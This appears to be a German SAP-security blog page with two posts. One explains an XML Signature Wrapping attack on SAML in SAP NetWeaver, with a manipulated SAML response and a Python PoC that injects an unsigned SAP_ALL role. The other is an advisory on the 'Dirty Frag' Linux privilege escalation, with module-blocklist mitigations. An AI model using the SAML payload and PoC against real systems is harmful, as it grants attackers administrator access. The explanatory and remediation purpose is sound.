werth | SAP Security Inside

Seit dem Juni Patch Day steht die „Patch Note 3746332“ im Fokus.
Warum hat die einen CVSS 9.9 wert?
Und warum bekommt ein „low-priv User“ plötzlich SAP_ALL, ohne dass der IdP (Entra ID) auch nur mitbekommt, dass die Rollen manipuliert wurden?
Ich habe mir die Mechanics der XML Signature Wrapping (XSW) Attacke angesehen. Hier ist, was wirklich passiert.
—

Das Problem: Crypto-Validierung vs. XPath-Logik

SAML Assertions werden signiert. Das ist klar. Die Falle liegt im Scope der Auswertung. Im betroffenen NetWeaver-SP wurde die kryptografische Signatur über einen spezifischen XML-Knoten (<ds:Reference URI="#_assertion_id">) validiert. Die Attribute-Resolution (Rollen, Gruppen) hat aber einen ungenauen XPath-Pfad genutzt, um <saml:AttributeStatement> im Dokument zu suchen. Ergebnis: Die Krypto-Prüfung validiert das eine Element (die ID). Die Applikationslogik liest ein anderes, injiziertes Element aus. Das ist reiner XSW.

—

Der Angriffsschritt

1. Legitimer Login (Struktur)

User t.werth@test.onmicrosoft.com loggt sich per SAML in SAP ein. Entra ID generiert eine signierte Response. Die Struktur ist strikt:

<samlp:Response ID="_resp">
  <saml:Issuer>https://sts.windows.net/tenant-id/</saml:Issuer>
  
  <ds:Signature>
    <ds:SignedInfo>
      <!-- Signiert den Inhalt von _assertion_id -->
      <ds:Reference URI="#_assertion_id">
         <!-- ... DigestValue ... -->
      </ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>Z0FBQ0I...</ds:SignatureValue>
  </ds:Signature>
  
  <!-- Die eigentliche Assertion -->
  <saml:Assertion ID="_assertion_id">
    <saml:Subject>...</saml:Subject>
    
    <saml:AttributeStatement>
      <saml:Attribute Name="groups">
        <saml:AttributeValue>SAP_Users</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

Alles sauber. Signatur deckt _assertion_id ab. Rollen sind SAP_Users.

2. Intercept & Wrap (XSW Manipulation)

Hier kommt XSW ins Spiel. Der Angreifer fängt die Response ab und manipuliert die XML-Struktur.

Wir fügen ein neues, unsigniertes Element in den Response-Baum ein — auf derselben Ebene, außerhalb der signierten Assertion, aber innerhalb des Response-Dokuments.

<samlp:Response ID="_resp">
  <saml:Issuer>https://sts.windows.net/tenant-id/</saml:Issuer>
  
  <!-- ✨ INJEKTION: Unsigniertes Schwesterelement ✨ -->
  <saml:AttributeStatement>
    <saml:Attribute Name="groups">
      <saml:AttributeValue>SAP_ALL</saml:AttributeValue>
    </saml:Attribute>
  </saml:AttributeStatement>

  <ds:Signature>
    <ds:SignedInfo>
      <ds:Reference URI="#_assertion_id">
         <!-- Digest passt weiterhin auf die Assertion unten! -->
      </ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>Z0FBQ0I...</ds:SignatureValue>
  </ds:Signature>
  
  <!-- Original Assertion (intakt) -->
  <saml:Assertion ID="_assertion_id">
    <saml:Subject>...</saml:Subject>
    
    <saml:AttributeStatement>
      <saml:Attribute Name="groups">
        <saml:AttributeValue>SAP_Users</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

3. Was NetWeaver macht

* Der Krypto-Check: Der Validator löst die Referenz #_assertion_id auf. Er prüft den Digest nur für diesen spezifischen Knoten. Da dieser Knoten unverändert ist, ist die Signatur mathematisch 100% gültig.

* Die Business-Logik: Der XML-Parser nutzt einen „dummen“ XPath (z.B. //saml:AttributeStatement[1]), um die Gruppen zu lesen. Der Parser findet das erste* AttributeStatement im Baum. * Das ist jetzt unser injiziertes Element: SAP_ALL.

* Das Ergebnis: Die Session wird mit Admin-Rechten erstellt. Entra ID hat alles korrekt signiert. Die Signatur ist echt. Der Fehler liegt exklusiv in der XML-Verarbeitung auf Empfängerseite: Sie kopiert die Krypto-Validierung und die Daten-Extraktion nicht an denselben Knoten.

—

PoC (Python, concept level)

import base64
from lxml import etree

def xsw_wrap_saml(original_b64: str, inject_roles: list) -> str:
    """
    SAML Response Wrap PoC
    Fügt ein unsigniertes AttributeStatement als Schwesterelement der Assertion ein.
    """
    # XML dekodieren
    xml_bytes = base64.b64decode(original_b64)
    response = etree.fromstring(xml_bytes)
    
    # Namespaces sauber registrieren, um ns0-Präfixe zu verhindern
    SAML_NS = 'urn:oasis:names:tc:SAML:2.0:assertion'
    etree.register_namespace('saml', SAML_NS)
    
    # 1. Neues AttributeStatement erstellen
    fake_attrs = etree.Element(f'{{{SAML_NS}}}AttributeStatement')
    roles_attr = etree.SubElement(fake_attrs, 
                                   f'{{{SAML_NS}}}Attribute', 
                                   Name='groups')
    
    for role in inject_roles:
        val_elem = etree.SubElement(roles_attr, f'{{{SAML_NS}}}AttributeValue')
        val_elem.text = role
        
    # 2. Position der Assertion bestimmen
    insert_index = 0
    for i, child in enumerate(response):
        if 'Assertion' in child.tag:
            insert_index = i
            break
            
    # Vor der echten Assertion einfügen
    response.insert(insert_index, fake_attrs)
    
    # 3. Export OHNE erzwungenes c14n, um die Original-Signaturelemente nicht zu verfälschen
    return base64.b64encode(etree.tostring(response, xml_declaration=True, encoding='utf-8')).decode()

Usage:

1. Proxy fängt SAMLResponse POST ab

2. xsw_wrap_saml() injiziert unsigniertes Element

3. Payload an SAP weiterleiten

4. SAP_ALL Session zurück (weil XPath das falsche Element trifft)

—

Warum das kein „Edge Case“ ist

SAML/XSW ist ein bekanntes Strukturgremium-Problem:

* XSW-XSS / XSW-XML — ähnliche Pattern bei SOAP & OAuth

* XPath Resolution Mismatch — Validator nutzt ID-Reference, App nutzt //tag[1]

* Scope-Verletzung — Die Validierung findet im Scope #_id statt, die Nutzung im Scope Response.

Das funktioniert mit jedem IdP: Entra ID, Okta, Keycloak. Der IdP ist irrelevant. Die Signatur wird nicht gebrochen, sie wird nur „umgangen“, indem der Parser den falschen Pfad im Baum nimmt.

—

Remediation Patchen:

Security Note 3746332 installieren. Sofort.

—

* CVE-2026-44748 ist ein XSW-Angriff auf SAML in SAP NetWeaver

* Signatur bleibt mathematisch gültig — der XPath-Pfad liest nur das falsche Element

* Low-priv User → SAP_ALL in einem Request * Entra ID hat nie mitbekommen, was passiert

* Patch + Scope-Validierung + XPath-Hardening = gut

Am 7. Mai 2026 hat Hyunwoo Kim (@v4bel), ein Security-Forscher, den Nachfolger von Copy Fail veröffentlicht: Dirty Frag (auch „Copy Fail 2“). Das Ergebnis: Ein unprivilegierter lokaler Benutzer kann auf den meisten Linux-Distributionen innerhalb einer Kommandozeile root-Privilegien erlangen.

Working PoC. Deterministisch. 99% Erfolgsrate. Kein Race Condition nötig. Kein Kernel-Panic bei Fehlschlag.

Was ist Dirty Frag?

Dirty Frag kombiniert zwei Page-Cache-Schreib-Primitiven im Linux-Kernel: eine im xfrm-ESP (IPsec) Subsystem (CVE-2026-43284) und eine im RxRPC-Subsystem (CVE-2026-43500). Beide flaws ermöglichen die Manipulation von Page-Cache-Memory, die nicht ausschließlich vom Kernel besessen wird — was zur Korruption sensibler Dateien und letztlich zu Privileg-Eskalation führt.

Der Unterschied zu Copy Fail: Dirty Frag funktioniert unabhängig davon, ob das algif_aead-Modul aktiviert ist. Das heißt: Systeme, die bereits gegen Copy Fail gehärtet wurden, sind trotzdem anfällig.

Warum funktioniert es überall?

Die genial-bösartige Architektur: Die beiden Exploits decken gegenseitig die Blindstellen ab.

• Das ESP-Exploit benötigt die Berechtigung zum Erstellen von User-Namespaces. Ubuntu blockiert das standardmäßig mit AppArmor.
• Das RxRPC-Exploit benötigt keine Namespace-Berechtigungen — aber das rxrpc.ko-Modul ist auf den meisten Distributionen nicht vorinstalliert. Ubuntu lädt es standardmäßig.

Chain die beiden zusammen, und fast jede Distribution hat mindestens einen Pfad offen.

Wer ist betroffen?

Bestätigt betroffen: Ubuntu 24.04.4, RHEL 8/9/10, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 8/9/10, Fedora 44, SUSE Virtualization (alle Versionen), OpenShift 4.

Die betroffene Code-Logik im ESP-Subsystem existiert seit Januar 2017. RxRPC seit Juni 2023. Das bedeutet: Die meisten produktiven Linux-Server sind prinzipiell verwundbar.

Was bedeutet das für SAP-Systeme?

RHEL und SUSE Linux Enterprise sind die beiden primären Betriebssysteme für SAP-Produktivumgebungen. SAP HANA, S/4HANA, NetWeaver — alles läuft auf Linux. Und auf diesen Servern gibt es regelmäßig mehrere lokale Benutzer: SAP-Service-Accounts, Monitoring-Tools, Backup-Agenten, CI/CD-Pipelines für ABAP-Transporte.

Jeder dieser lokalen Benutzer kann Dirty Frag ausführen und sich zu root hocharbeiten.

Die Angriffssequenz ist denkbar einfach:

1. Angreifer erlangt lokalen Zugang (SSH-Credential-Phishing, kompromittierter Service-Account, Schwachstelle in einer Web-App wie GLPI)
2. Dirty Frag PoC wird ausgeführt — ein Command, öffentlich verfügbar
3. Root-Zugriff auf den SAP-Server
4. Ab hier: SAP-Systemdateien manipulieren, Berechtigungen ändern, Backdoors einbauen, Daten exfiltrieren

Microsoft hat bereits limitierte In-the-Wild-Aktivitäten beobachtet: Angreifer erlangen SSH-Zugriff, laden ein ELF-Binary namens ./update hoch, und eskalieren sofort mit su — ein Muster, das auf Dirty Frag hindeutet. Nach der Eskalation manipulieren sie LDAP-Authentifizierungsdateien, inspizieren PHP-Session-Dateien, und löschen Spuren.

Patches?

Der xfrm-ESP-Bug (CVE-2026-43284) wurde im Linux-Kernel mainline gepatcht (Commit f4c50a4034e6). Für das RxRPC-Problem (CVE-2026-43500) gibt es bisher keinen Patch.

Red Hat klassifiziert die Vulnerabilität als „Important“ (nicht Critical) und arbeitet an beschleunigten Fixes für RHEL 8/9/10 sowie OpenShift 4. SUSE hat bestätigt, dass alle SUSE-Virtualization-Versionen betroffen sind, und arbeitet an Kernel-Updates.

Ein komplettes Version-Matrix ist noch nicht verfügbar.

Was kann sofort gemacht werden?

Bis Patches verfügbar sind, empfehlen alle Distributionen, die betroffenen Kernel-Module zu blocklisten:

printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf
rmmod esp4 esp6 rxrpc 2>/dev/null; true

Aber: Das Blocklisten von esp4/esp6 bricht IPsec-Funktionalität. Und rxrpc bricht AFS-Client-Konnektivität. Wer IPsec für SAP-Site-to-Site-VPNs oder verschlüsselte Systemlandschaften nutzt, muss die Auswirkung evaluieren.

Alternative für RHEL: Unprivilegierte User-Namespaces deaktivieren (user.max_user_namespaces=0). Das blockt nur die ESP-Variante — RxRPC bleibt offen. Und rootless Container, Flatpak, und sandboxed Browser funktionieren nicht mehr.

Warum das relevant ist

Dirty Frag gehört zu einer Bug-Klasse, die mit Dirty Pipe (2022) begann: deterministische Logik-Bugs im Kernel, die keine Timing-Fenster brauchen, keine Race Conditions, und keine komplexe Exploit-Infrastruktur. Ein Local-User mit Shell-Zugriff reicht.

Für SAP-Systeme auf RHEL oder SUSE bedeutet das: Jeder kompromittierte Service-Account ist ein Root-Account. Jedes phishige SSH-Passwort ist ein System-Kompromittierung. Und das nicht theoretisch — der PoC ist öffentlich, die Attack Pattern sind dokumentiert, und erste In-the-Wild-Fälle sind bestätigt.

Das ist kein „wir prüfen das beim nächsten Patch-Day“-Problem. Es ist ein „welche SAP-Server haben heute noch die Module geladen“-Problem.